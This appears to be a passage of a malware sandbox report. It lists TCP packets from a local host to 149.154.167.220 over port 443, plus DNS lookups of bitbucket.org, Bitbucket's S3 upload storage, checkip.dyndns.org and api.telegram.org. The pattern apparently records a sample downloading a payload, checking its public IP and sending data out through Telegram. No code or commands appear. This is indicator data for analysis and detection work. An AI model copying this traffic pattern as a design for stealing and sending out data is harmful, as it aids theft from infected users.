Dec 18, 2024 16:18:35.616385937 CET	50057	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:35.616398096 CET	443	50057	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:35.761607885 CET	443	50058	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:35.767995119 CET	50058	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:35.768013954 CET	443	50058	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:35.768104076 CET	50058	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:35.768112898 CET	443	50058	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:35.789835930 CET	443	50059	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:35.792249918 CET	50059	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:35.792270899 CET	443	50059	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:35.792448044 CET	50059	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:35.792453051 CET	443	50059	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.176857948 CET	443	50057	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.176964998 CET	443	50057	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.177020073 CET	50057	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.177716970 CET	50057	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.200017929 CET	50065	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.200069904 CET	443	50065	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.202169895 CET	50065	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.202518940 CET	50065	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.202534914 CET	443	50065	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.335170984 CET	443	50058	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.336667061 CET	443	50058	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.340229988 CET	50058	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.367810011 CET	443	50059	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.367912054 CET	443	50059	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.369115114 CET	50059	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.396559000 CET	50058	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.396809101 CET	50059	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.398384094 CET	50066	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.398413897 CET	443	50066	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.398561954 CET	50066	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.398721933 CET	50067	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.398760080 CET	443	50067	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.398813009 CET	50067	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.399136066 CET	50066	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.399146080 CET	443	50066	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:36.399192095 CET	50067	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:36.399211884 CET	443	50067	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.565664053 CET	443	50065	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.567472935 CET	50065	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:37.567502975 CET	443	50065	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.567578077 CET	50065	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:37.567589998 CET	443	50065	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.761379957 CET	443	50066	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.764988899 CET	443	50067	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.765590906 CET	50066	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:37.765619040 CET	443	50066	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.766887903 CET	50067	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:37.766926050 CET	50066	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:37.766931057 CET	443	50067	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.766942978 CET	443	50066	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:37.766989946 CET	50067	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:37.767000914 CET	443	50067	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.112798929 CET	443	50065	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.112886906 CET	443	50065	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.113055944 CET	50065	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.113718987 CET	50065	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.115362883 CET	50072	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.115423918 CET	443	50072	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.115571976 CET	50072	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.115823984 CET	50072	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.115840912 CET	443	50072	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.317131042 CET	443	50066	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.317385912 CET	443	50066	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.317521095 CET	50066	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.318025112 CET	50066	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.319396973 CET	50073	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.319432020 CET	443	50073	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.319504023 CET	50073	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.319742918 CET	50073	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.319758892 CET	443	50073	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.348464012 CET	443	50067	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.348612070 CET	443	50067	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.348707914 CET	50067	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.349206924 CET	50067	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.350445032 CET	50074	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.350492954 CET	443	50074	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:38.350568056 CET	50074	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.350788116 CET	50074	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:38.350811005 CET	443	50074	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.483938932 CET	443	50072	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.485990047 CET	50072	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:39.486021996 CET	443	50072	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.486090899 CET	50072	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:39.486099958 CET	443	50072	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.681798935 CET	443	50073	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.706703901 CET	50073	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:39.706737995 CET	443	50073	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.706897974 CET	50073	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:39.706906080 CET	443	50073	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.712511063 CET	443	50074	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.740263939 CET	50074	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:39.740303040 CET	443	50074	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:39.740394115 CET	50074	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:39.740402937 CET	443	50074	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.032520056 CET	443	50072	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.032742977 CET	443	50072	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.032802105 CET	50072	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.033798933 CET	50072	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.036889076 CET	50080	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.036936998 CET	443	50080	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.036994934 CET	50080	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.037724018 CET	50080	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.037740946 CET	443	50080	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.250660896 CET	443	50073	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.250758886 CET	443	50073	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.251019001 CET	50073	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.251415014 CET	50073	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.258989096 CET	50081	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.259037971 CET	443	50081	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.259129047 CET	50081	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.259618998 CET	50081	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.259630919 CET	443	50081	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.297183037 CET	443	50074	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.297270060 CET	443	50074	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.297327042 CET	50074	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.297791004 CET	50074	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.299335957 CET	50082	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.299388885 CET	443	50082	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:40.299752951 CET	50082	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.299752951 CET	50082	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:40.299791098 CET	443	50082	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.406179905 CET	443	50080	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.410815954 CET	50080	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:41.410854101 CET	443	50080	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.410916090 CET	50080	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:41.410928011 CET	443	50080	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.640455008 CET	443	50081	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.647587061 CET	50081	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:41.647623062 CET	443	50081	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.647674084 CET	50081	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:41.647681952 CET	443	50081	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.659992933 CET	443	50082	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.662067890 CET	50082	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:41.662108898 CET	443	50082	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.662164927 CET	50082	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:41.662172079 CET	443	50082	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.997471094 CET	443	50080	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.997565985 CET	443	50080	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:41.997613907 CET	50080	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:41.998321056 CET	50080	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.000252962 CET	50087	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.000288963 CET	443	50087	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:42.000358105 CET	50087	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.000631094 CET	50087	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.000643015 CET	443	50087	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:42.351138115 CET	443	50081	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:42.351238966 CET	443	50081	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:42.351317883 CET	50081	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.355124950 CET	50081	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.357588053 CET	50089	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.357626915 CET	443	50089	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:42.357702017 CET	50089	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.358125925 CET	50089	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:42.358139992 CET	443	50089	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:42.395289898 CET	443	50082	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:42.395401955 CET	443	50082	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:42.395477057 CET	50082	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.116566896 CET	50082	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.162965059 CET	50090	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.163024902 CET	443	50090	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.163088083 CET	50090	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.163671970 CET	50090	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.163698912 CET	443	50090	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.373605967 CET	443	50087	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.375456095 CET	50087	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.375487089 CET	443	50087	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.375530958 CET	50087	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.375538111 CET	443	50087	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.724245071 CET	443	50089	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.726624012 CET	50089	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.726632118 CET	443	50089	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.726695061 CET	50089	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.726701021 CET	443	50089	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.931785107 CET	443	50087	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.933305979 CET	443	50087	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.933394909 CET	50087	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.933732986 CET	50087	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.935049057 CET	50094	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.935102940 CET	443	50094	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:43.935167074 CET	50094	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.935448885 CET	50094	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:43.935466051 CET	443	50094	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:44.349993944 CET	443	50089	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:44.350079060 CET	443	50089	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:44.350311995 CET	50089	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:44.350820065 CET	50089	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:44.352448940 CET	50096	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:44.352487087 CET	443	50096	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:44.352664948 CET	50096	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:44.352804899 CET	50096	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:44.352823973 CET	443	50096	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:44.528409958 CET	443	50090	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:44.530633926 CET	50090	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:44.530672073 CET	443	50090	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:44.530913115 CET	50090	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:44.530919075 CET	443	50090	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.072947979 CET	443	50090	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.073034048 CET	443	50090	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.073082924 CET	50090	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.073719978 CET	50090	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.076179981 CET	50098	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.076216936 CET	443	50098	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.076291084 CET	50098	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.076800108 CET	50098	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.076812983 CET	443	50098	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.296926022 CET	443	50094	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.299613953 CET	50094	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.299626112 CET	443	50094	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.299694061 CET	50094	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.299701929 CET	443	50094	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.716466904 CET	443	50096	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.719466925 CET	50096	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.719477892 CET	443	50096	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.719540119 CET	50096	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.719544888 CET	443	50096	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.842967987 CET	443	50094	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.844140053 CET	443	50094	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.844191074 CET	50094	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.844553947 CET	50094	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.846566916 CET	50100	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.846600056 CET	443	50100	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:45.846672058 CET	50100	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.847031116 CET	50100	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:45.847044945 CET	443	50100	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:46.296411991 CET	443	50096	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:46.296494007 CET	443	50096	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:46.296979904 CET	50096	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:46.298795938 CET	50104	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:46.298842907 CET	443	50104	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:46.299345970 CET	50096	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:46.302620888 CET	50104	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:46.302623034 CET	50104	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:46.302664042 CET	443	50104	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:46.534729004 CET	443	50098	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:46.540321112 CET	50098	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:46.540357113 CET	443	50098	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:46.540445089 CET	50098	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:46.540465117 CET	443	50098	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:47.101928949 CET	443	50098	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:47.102011919 CET	443	50098	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:47.102411032 CET	50098	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:47.229437113 CET	443	50100	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:47.336328030 CET	50100	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:47.669385910 CET	443	50104	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:47.726883888 CET	50104	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:50.894192934 CET	50098	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:50.894834042 CET	50106	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:50.894867897 CET	443	50106	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:50.894932985 CET	50106	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:50.895226955 CET	50106	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:50.895236969 CET	443	50106	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:50.923038006 CET	50100	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:50.923067093 CET	443	50100	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:50.923120022 CET	50100	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:50.923127890 CET	443	50100	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.174660921 CET	50104	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.174690008 CET	443	50104	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.174827099 CET	50104	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.174834013 CET	443	50104	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.477611065 CET	443	50100	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.477700949 CET	443	50100	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.477962971 CET	50100	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.478287935 CET	50100	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.478913069 CET	50107	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.478951931 CET	443	50107	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.479020119 CET	50107	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.479228973 CET	50107	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.479243994 CET	443	50107	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.722232103 CET	443	50104	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.722326040 CET	443	50104	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.722492933 CET	50104	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.722995996 CET	50104	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.724267006 CET	50108	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.724320889 CET	443	50108	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:51.724406958 CET	50108	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.724658012 CET	50108	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:51.724673033 CET	443	50108	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:52.257829905 CET	443	50106	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:52.305058956 CET	50106	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:52.860621929 CET	443	50107	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:52.914378881 CET	50107	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:53.125948906 CET	443	50108	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:53.180018902 CET	50108	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 16:16:39.451078892 CET	56396	53	192.168.2.5	1.1.1.1
Dec 18, 2024 16:16:39.589360952 CET	53	56396	1.1.1.1	192.168.2.5
Dec 18, 2024 16:16:41.964534998 CET	50357	53	192.168.2.5	1.1.1.1
Dec 18, 2024 16:16:42.342196941 CET	53	50357	1.1.1.1	192.168.2.5
Dec 18, 2024 16:16:50.664197922 CET	62017	53	192.168.2.5	1.1.1.1
Dec 18, 2024 16:16:50.813894987 CET	53	62017	1.1.1.1	192.168.2.5
Dec 18, 2024 16:17:01.006388903 CET	56727	53	192.168.2.5	1.1.1.1
Dec 18, 2024 16:17:01.145469904 CET	53	56727	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 16:16:39.451078892 CET	192.168.2.5	1.1.1.1	0x6d94	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:41.964534998 CET	192.168.2.5	1.1.1.1	0xb94b	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:50.664197922 CET	192.168.2.5	1.1.1.1	0xe677	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:17:01.006388903 CET	192.168.2.5	1.1.1.1	0xc85	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 16:16:39.589360952 CET	1.1.1.1	192.168.2.5	0x6d94	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:39.589360952 CET	1.1.1.1	192.168.2.5	0x6d94	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:39.589360952 CET	1.1.1.1	192.168.2.5	0x6d94	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.32.148	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.24.26	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.225.201	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.217.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.213	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.137.41	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.199.169	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:42.342196941 CET	1.1.1.1	192.168.2.5	0xb94b	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.213.33	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:50.813894987 CET	1.1.1.1	192.168.2.5	0xe677	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 16:16:50.813894987 CET	1.1.1.1	192.168.2.5	0xe677	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:50.813894987 CET	1.1.1.1	192.168.2.5	0xe677	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 18, 2024 16:16:50.813894987 CET	1.1.1.1	192.168.2.5	0xe677	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
